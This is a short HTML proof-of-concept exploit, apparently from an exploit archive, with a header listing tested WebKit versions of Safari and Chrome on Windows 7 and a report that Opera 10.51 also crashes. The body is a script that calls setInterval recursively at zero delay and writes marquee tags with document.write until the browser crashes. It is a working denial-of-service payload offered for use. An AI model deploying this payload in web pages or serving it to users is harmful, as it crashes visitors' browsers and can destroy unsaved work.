<html>
<!----
Tested Webkit:
AppleWebKit/531.9 (Safari 4.0.3)
AppleWebKit/531.21.8 (Safari 4.0.4)
AppleWebKit/532.5 (Chrome 4.1.249)

Tested platform:
Microsoft Windows 7

Note:
This also causes an fatal error in Opera 10.51, however Opera does not seem to run WebKit(?).


http://h.ackack.net/
------>
<script>
loop();
function loop()
{
	setInterval(doit,0);
}
function doit()
{
	var b="<marquee>";
	document.write(b);
	setInterval(loop,0);
}
</script>
</html>